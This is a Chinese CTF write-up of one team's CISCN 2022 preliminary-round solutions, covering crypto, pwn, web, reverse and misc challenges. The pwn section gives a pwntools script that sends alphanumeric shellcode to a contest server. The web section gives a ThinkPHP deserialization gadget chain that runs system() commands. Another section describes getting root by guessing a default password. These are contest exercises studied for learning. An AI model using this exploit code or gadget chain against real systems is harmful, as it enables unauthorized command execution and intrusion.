咕了有点久了,来发一下

CISCN2022初赛WP

一、 战队信息

战队名称:flag虽不能至,然心向往之

战队排名:第130名

Crypto

签到电台

根据题目的提示从公众号获取两个hint:

  1. 在“标准电码表”找“弼时安全到达了”所对应的7个电码,再跟“密码本”的前7*4个数字分别逐位进行“模十算法”(加不进位、减不借位),所得到的就是要发送的电码。发送电码前先发送“s”启动,即按3个“.”,这个发送电报的过程可以使用抓包软件进行抓取,可方便输入电报。

  2. “弼时安全到达了”所对应的7个电码:1732 2514 1344 0356 0451 6671 0055。模十算法示例:1732与6378得到7000,发包示例:/send?msg=s

然后访问/secret看到密码,取前28个做模10运算,再用hint2的发包方式发送得到flag。

基于挑战码的双向认证

这题给了 ssh,有权限就想着先连一下,连上去之后试试 find / | grep "flag.txt"找到一个类似 flag的东西,但是不是 flag,此时又看到两个题目是连着的,所以就猜测应该是 flag1.txtflag2.txt。寻找之后发现 /root/cube-shell/instance/flag_server/ 目录下存在,然后就直接拿到两个题目的 flag 了。

基于挑战码的双向认证3

有了前两道题目的铺垫之后,又试了试查看该目录下的 flag 发现权限不够,然后就尝试提权,直接试试看默认密码,随便输了几个试到了 toor 直接就提权了,然后拿下flag。

ISO9798

链接靶机,有pow,爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
from hashlib import *
hash='ed8e248b4ec6828ea8f2cda56293484cbff40d934aba1e641cc3fcbf94e1757c'
sss='Eee9sVQumMWXoLEL'
table='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for ch1 in table:
for ch2 in table:
for ch3 in table:
for ch4 in table:
hashvalue=sha256((ch1+ch2+ch3+ch4+sss).encode()).hexdigest()
if hashvalue==hash:
print(ch1+ch2+ch3+ch4)
quit()

然后输入32个0过第二步

返回一长串字符串

4993ad5ec5dfd5147003438c0e6afd696b026f48fb9676d625dbb6e2b1536b803c4d2e0a001b998f0d6afcb063e71fd8

根据提示分成ra,rb,k

ra=4993ad5ec5dfd5147003438c0e6afd69

rb=6b026f48fb9676d625dbb6e2b1536b80

K=3c4d2e0a001b998f0d6afcb063e71fd8

然后组合一下rb+ra为

6b026f48fb9676d625dbb6e2b1536b804993ad5ec5dfd5147003438c0e6afd69

打入出flag

Pwn

漏洞点在选项2,选项2用 mmap 开辟了一个可读可写可执行的内存,并可以往上面写东西,并且执行过去,那么就确定要在上面写 shellcode,但是之前有三个check,后两个经过交叉引用可知在选项 1 中给 ro0t 可以将它置为1,于是我们就先用选项 1 置为1,再用选项 2 去写 shellcode,但是每个字节都有 isprintcheck,那好办,就直接写 alphanumeric shellcode

在下面这个文章中找到用的shellcode

1
https://blog.csdn.net/Y_peak/article/details/115307573

然后写出exp

1
2
3
4
5
6
7
8
9
#coding=utf-8
from pwn import*
#io=process('./login')
io=remote('101.201.123.35',27290)
io.sendline('opt:1\r\nmsg:ro0t\r\n')
code = b'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
io.sendline(b'opt:2\r\nmsg:'+code+b'\r\n')
io.interactive()

web

TP的新链子,具体漏洞分析在这:

1
https://www.freebuf.com/vuls/321546.html

下图可见在/index.php/Index/test POST传序列化字符串给a即可

POC在此,ls一下再读下flag即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['ls']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace{
echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
?>

Reverse

baby_tree

直接看ast,assign_expr是赋值语句,binary_expr里面decl=后面是运算符,argument_list里的两个argument参与运算,分析一下主要逻辑,写出对应的解密脚本。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
unsigned char b[] = {88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16};
unsigned char k[] = "345y";
int main()
{
for (int i = 0; i < 42 - 3; i++)
{
unsigned char tmp = k[0];
k[0] = k[1];
k[1] = k[2];
k[2] = k[3];
k[3] = tmp;
}
for (int i = 42 - 4; i >= 0; i--)
{
unsigned char r0 = b[i + 0], r1 = b[i + 1], r2 = b[i + 2], r3 = b[i + 3];
unsigned char tmp = k[3];
k[3] = k[2];
k[2] = k[1];
k[1] = k[0];
k[0] = tmp;
b[i + 0] = r2 ^ k[2];
b[i + 1] = r3 ^ k[3];
b[i + 2] = ((k[0] + (b[i + 0] >> 4)) & 0xff) ^ r0;
b[i + 3] = ((k[1] + (b[i + 1] >> 2)) & 0xff) ^ r1;
}
for (int i = 0; i < 42; i++)
{
putchar(b[i]);
}
return 0;
}

运行上面的程序拿到flag

MISC

everlasting_night

本来以为不是lsb隐写(因为隐藏字母太小太犄角旮旯了没看见),查看属性无信息获取

拉入010editor中查看png的文件头和文件尾,发现文件尾后面有一段多出来的字符,不知道是做什么的,先放着

题目提示含lsb隐写后,拉入Stegsolve查看,终于在Alpha2处发现右下角有猫腻

但是分析并没有得出信息,坚信信息就隐藏在这里,查阅字典发现row译为中文是行,column是柱,猜测可能是因为右下角的信息是一列的,而我刚开始查看是以行查看,修改成功数据后发现隐藏文本

拿到这串数字后第一反应使用lsb的工具

拿到一个文本文件,拉入010查看发现是压缩包文件头,果断修改后缀名为rar

但是解压需要密码,猜测开头在文件尾后的那一串是密码,但是输入后发现不是,猜测可能是某种加密,广泛尝试后发现是md5隐写

解压后得到一个没有后缀的flag文件

拉入010发现是PNG文件,本来想通过改后缀名拿到答案,后来发现还是太天真

使用ps和画图打开无果,想到gimp,将文件后缀名改为data后用gimp打开

发现图片有些怪怪的,本来想拼图找一下flag,但是实在考验眼力,于是尝试修改各种数值,发现猫腻出在宽度上

拿到答案,提交

ez_usb

使用 wireshark 打开发现是 usb 键盘流量

有两个不同的 usb.addr 发送数据,分别将其保存到两个不同的流量包

用键盘流量分析工具对其提取数据:https://github.com/WangYihang/UsbKeyboardDataHacker

发现有一个 rar 文件,一个 35c535765e50074a,打开rar文件发现需要密码,应该另一串字符就是密码,输入成功拿到 flag 文件

问卷调查

填个问卷而已